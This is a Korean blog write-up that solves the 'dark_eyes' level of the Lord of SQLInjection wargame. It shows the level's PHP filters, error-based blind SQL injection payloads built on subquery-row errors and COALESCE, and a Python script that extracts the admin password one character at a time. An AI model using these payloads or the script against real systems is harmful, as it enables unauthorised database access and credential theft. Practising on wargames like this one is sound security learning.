본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : dark_eyes

Write-Up

 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");

 

위 필터링에서 주요한 조건들은 if , case when, sleep 등의 함수들이 필터링 되고 있다는 것과 에러 출력 시, 에러가 응답 페이지로 전달되지 않고, 빈 페이지를 반환한다는 것이다. ($result['pw'] == $_GET['pw']) 조건에 의해 올바른 값을 pw 파라미터에 전달해야 하므로, error based blind sql inejction을 시도해야 한다. 

 

?pw='+or+id='admin'+and+(select+1+union+select+length(pw)=8)--+

 

위와 같은 payload를 통해 참 반응을 얻어냈다. ( 빈 페이지가 호출되지 않으면, 참 반응이다. ) 즉 pw 길이는 8글자이다. 

 

이제 아래와 같은 코드로 pw를 구하도록 한다. 

 

import requests
import string

url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw= "
cookies ={'PHPSESSID':"keogb0hg2e84st5u0ejgaa33d8"}

result=""
for i in range(1,9):
    for j in range(32,127):
        param="'or id='admin' and (select 1 union select ascii(substr(pw,"+str(i)+",1))="+str(j)+")--+"
        
        URL = url+param
        print(URL)
        response = requests.get(URL, cookies=cookies)
        # print(response.text)
        if "query" in response.text:
            result += chr(j)
            print(result)
            break
print("pw: "+result)

 

 

그림 1

 

문제를 풀 수 있는 추가적인 방법..

 

?pw=' or (select id where id='admin')=coalesce((select id where id='admin' and length(pw)=8),(select 1 union select 2))%23

 

위와 같이 COALESCE(expr1, expr2, ...) 를 이용해 줄 수 있다. 해당 함수는 expr1이 NULL 이 아니면, expr1을 반환하고, expr1이 NULL 이면 expr2를 반환한다. 만약 expr1과 expr2가 모두 NULL이고, 다음 인수(expr3..?) 가 존재한다면 NULL이 아닌 값을 반환한다. 이 과정을 인수가 끝날 때까지 반복한다. 그러나 모든 인수가 NULL 이면 최종적으로는 NULL을 반환한다. 

 

 

 

 

실습

 

그림 2

 

sub query에 대한 실습을 진행한 예제이다. ( select 1 union select length(password)=32 ) 의 쿼리에서 union select length(password)=32 의 값이 참이라면, select 1 union select 1; 과 같은 꼴이 되어 서브쿼리 에러( Subquery returns more than 1 row )를 발생시키지 않는다. 하지만 false에 해당한다면, select 1 union select 0과 같은 꼴이 되어 행이 2개가 반환되어 서브쿼리 에러가 반환된다. 

 

 

추가 공부..

 

서브쿼리 

https://inpa.tistory.com/entry/MYSQL-%F0%9F%93%9A-%EC%84%9C%EB%B8%8C%EC%BF%BC%EB%A6%AC-%EC%A0%95%EB%A6%AC

 

[MYSQL] 📚 서브쿼리 개념 & 문법 💯 정리

서브쿼리(Subquery) 서브쿼리(subquery)란 다른 쿼리 내부에 포함되어 있는 SELETE 문을 의미한다. 서브쿼리를 포함하고 있는 쿼리를 외부쿼리(outer query)라고 부르며, 서브쿼리는 내부쿼리(inner query)라

inpa.tistory.com